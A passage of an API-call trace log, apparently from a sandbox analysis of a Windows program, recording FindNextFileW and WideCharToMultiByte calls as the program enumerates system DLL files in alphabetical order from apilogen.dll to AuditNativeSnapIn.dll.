ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.333] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.333] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x1d7c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0031.333] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.333] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.333] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.333] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x1d7c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0031.334] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.334] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.334] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x1d7c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0031.334] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.334] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x1d7c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0031.334] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.334] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x1d7c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0031.334] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.334] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.335] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x1d7c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0031.335] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.335] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.335] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.335] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.335] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.335] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0031.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x1d7c120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0031.335] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: 